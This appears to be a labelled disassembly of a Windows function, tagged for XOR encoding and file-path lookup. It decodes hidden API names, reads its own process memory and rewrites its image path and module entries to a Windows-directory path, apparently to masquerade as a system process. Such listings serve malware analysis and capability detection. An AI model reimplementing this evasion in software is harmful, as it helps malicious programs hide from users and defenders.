Function at 0x4013a0
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x728
mov eax, dword [0x418040]
xor eax, ebp
mov dword [ebp - 4], eax
cmp word [0x416306], 0
movups xmm0, xmmword [0x4162f4]
mov eax, dword [0x416304]
push esi
push edi
movups xmmword [ebp - 0x720], xmm0
mov dword [ebp - 0x710], eax
je 0x40141a
xor esi, esi
nop dword [eax]
mov eax, 0x2f684bdb
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x36
sub ecx, eax
add ecx, 0x39
xor word [ebp + esi*2 - 0x720], cx
inc esi
cmp esi, 0xa
jl 0x4013f0
lea eax, [ebp - 0x720]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movups xmm0, xmmword [0x416330]
mov cx, word [0x416348]
mov edi, eax
mov esi, dword [0x418d24]
mov dword [ebp - 0x658], edi
mov word [ebp - 0x668], cx
movups xmmword [ebp - 0x680], xmm0
movq xmm0, qword [0x416340]
movq qword [ebp - 0x670], xmm0
test ch, ch
je 0x4015e8
xor edx, edx
mov dword [ebp - 0x654], edx
cmp esi, 2
jl 0x4015b1
movaps xmm0, xmmword [0x4163a0]
movaps xmm4, xmmword [0x416350]
movaps xmm3, xmmword [0x4163b0]
movaps xmm5, xmmword [0x416370]
movaps xmmword [ebp - 0x6a0], xmm0
mov ecx, dword [ebp - 0x6a0]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x416390]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x680]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x680], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x416390]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x67c]
xorps xmm1, xmm0
movd dword [ebp + edx - 0x67c], xmm1
add edx, 8
cmp edx, 0x18
jl 0x4014a3
mov dword [ebp - 0x654], edx
cmp edx, 0x1a
jge 0x4015e8
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x654]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x680], cl
inc edx
mov dword [ebp - 0x654], edx
cmp edx, 0x1a
jl 0x4015b1
lea eax, [ebp - 0x680]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x684], eax
test eax, eax
je 0x401eca
cmp byte [0x416233], 0
movups xmm0, xmmword [str.kNWySJZ2]
movups xmmword [ebp - 0x6e0], xmm0
movq xmm0, qword [0x41622c]
movq qword [ebp - 0x6d0], xmm0
je 0x4017ac
xor edx, edx
mov dword [ebp - 0x654], edx
cmp esi, 2
jl 0x401775
movaps xmm0, xmmword [0x4163a0]
xor ecx, ecx
movaps xmm4, xmmword [0x416350]
movaps xmm3, xmmword [0x4163b0]
movaps xmm5, xmmword [0x416370]
movaps xmmword [ebp - 0x6a0], xmm0
mov edx, dword [ebp - 0x6a0]
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x416390]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x6e0]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x6e0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x416390]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x6dc]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x6dc], xmm1
add ecx, 8
cmp ecx, 0x18
jl 0x401670
jmp 0x4017ac
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x654]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x6e0], cl
inc edx
mov dword [ebp - 0x654], edx
cmp edx, 0x18
jl 0x401775
lea eax, [ebp - 0x6e0]
push eax
push dword [ebp - 0x658]
call edi
mov dword [ebp - 0x65c], eax
test eax, eax
je 0x401eca
cmp byte [0x4162f3], 0
movups xmm0, xmmword [str.kNWpX_I_]
movups xmmword [ebp - 0x700], xmm0
movq xmm0, qword [0x4162ec]
movq qword [ebp - 0x6f0], xmm0
je 0x40196c
xor edx, edx
mov dword [ebp - 0x654], edx
cmp esi, 2
jl 0x401935
movaps xmm0, xmmword [0x4163a0]
xor ecx, ecx
movaps xmm4, xmmword [0x416350]
movaps xmm3, xmmword [0x4163b0]
movaps xmm5, xmmword [0x416370]
movaps xmmword [ebp - 0x6a0], xmm0
mov edx, dword [ebp - 0x6a0]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x416390]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x700]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x700], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x416390]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x6fc]
xorps xmm1, xmm0
movd dword [ebp + ecx - 0x6fc], xmm1
add ecx, 8
cmp ecx, 0x18
jl 0x401830
jmp 0x40196c
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x654]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x700], cl
inc edx
mov dword [ebp - 0x654], edx
cmp edx, 0x18
jl 0x401935
lea eax, [ebp - 0x700]
push eax
push dword [ebp - 0x658]
call edi
mov dword [ebp - 0x688], eax
test eax, eax
je 0x401eca
mov ecx, dword [0x416058]
xor edx, edx
mov dword [ebp - 0x6b0], ecx
mov cl, byte [0x41605c]
mov byte [ebp - 0x6ac], cl
mov dword [ebp - 0x654], edx
movups xmm0, xmmword [str.kNWuSWK]
movups xmmword [ebp - 0x6c0], xmm0
cmp esi, 2
jl 0x401b00
movaps xmm0, xmmword [0x4163a0]
movaps xmm4, xmmword [0x416350]
movaps xmm3, xmmword [0x4163b0]
movaps xmm5, xmmword [0x416370]
movaps xmmword [ebp - 0x6a0], xmm0
mov ecx, dword [ebp - 0x6a0]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x416390]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x6c0]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x6c0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x416390]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x6bc]
xorps xmm1, xmm0
movd dword [ebp + edx - 0x6bc], xmm1
add edx, 8
cmp edx, 0x10
jl 0x4019f0
mov dword [ebp - 0x654], edx
cmp edx, 0x15
jge 0x401b37
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x654]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x6c0], cl
inc edx
mov dword [ebp - 0x654], edx
cmp edx, 0x15
jl 0x401b00
lea eax, [ebp - 0x6c0]
push eax
push dword [ebp - 0x658]
call edi
mov dword [ebp - 0x658], eax
test eax, eax
je 0x401eca
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x438
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x401eca
push 0
push 0x18
lea eax, [ebp - 0x640]
push eax
push 0
push edi
call dword [ebp - 0x684]
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x644]
push 0
push 4
push eax
lea eax, [ebp - 0x63c]
push eax
push edi
call esi
test eax, eax
je 0x401eca
push 0
push 4
lea eax, [ebp - 0x650]
push eax
mov eax, dword [ebp - 0x644]
add eax, 0xc
push eax
push edi
call esi
test eax, eax
je 0x401eca
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp word [0x4161d6], 0
movups xmm0, xmmword [str.e_CLQQM_3l__F]
mov eax, dword [0x4161d4]
mov dword [ebp - 0x668], eax
movups xmmword [ebp - 0x680], xmm0
movq xmm0, qword [0x4161cc]
movq qword [ebp - 0x670], xmm0
je 0x401d34
xor esi, esi
cmp dword [0x418d24], 2
jl 0x401d05
movaps xmm2, xmmword [0x416350]
mov eax, str.e_CLQQM_3l__F
movaps xmm3, xmmword [0x4163b0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x416370]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x416360]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [0x416380]
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x680], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x416370]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [ebp - 0x678]
paddw xmm1, xmmword [0x416380]
xorps xmm1, xmm0
movq qword [ebp - 0x678], xmm1
mov eax, 0x4bda12f7
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x36
sub ecx, eax
add ecx, 0x39
xor word [ebp + esi*2 - 0x680], cx
inc esi
cmp esi, 0xe
jl 0x401d05
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x680]
push eax
lea eax, [ebp - 0x218]
push 0x105
push eax
call fcn.004068f3
push 0x104
call fcn.00406962
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x654], eax
push ecx
push 0x104
push eax
call fcn.0040688f
mov ecx, dword [ebp - 0x644]
add esp, 0x1c
push dword [ecx + 0x1c]
call dword [ebp - 0x65c]
mov eax, dword [ebp - 0x644]
push dword [ebp - 0x654]
mov eax, dword [eax + 0x10]
add eax, 0x38
push eax
call dword [ebp - 0x658]
mov eax, dword [ebp - 0x644]
push dword [ebp - 0x654]
mov eax, dword [eax + 0x10]
add eax, 0x40
push eax
call dword [ebp - 0x658]
push 0x104
lea eax, [ebp - 0x628]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebp - 0x644]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x650]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x64c], eax
nop word [eax + eax]
push 0
push 4
lea eax, [ebp - 0x648]
push eax
lea eax, [ebp - 0x64c]
push eax
push edi
call esi
test eax, eax
je 0x401eca
mov ecx, dword [ebp - 0x648]
push 0
movzx eax, word [ecx + 0x26]
push eax
lea eax, [ebp - 0x420]
push eax
push dword [ecx + 0x28]
push edi
call esi
test eax, eax
je 0x401eca
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x628]
push eax
call fcn.0040678e
add esp, 8
test eax, eax
mov eax, dword [ebp - 0x648]
je 0x401e61
mov eax, dword [eax]
mov dword [ebp - 0x64c], eax
cmp eax, dword [ebp - 0x65c]
jne 0x401df0
jmp 0x401e85
push dword [ebp - 0x654]
mov esi, dword [ebp - 0x658]
add eax, 0x24
push eax
call esi
mov eax, dword [ebp - 0x648]
push dword [ebp - 0x654]
add eax, 0x2c
push eax
call esi
mov eax, dword [ebp - 0x644]
push dword [eax + 0x1c]
call dword [ebp - 0x688]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.0040678e
add esp, 8
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403695
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00403695
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret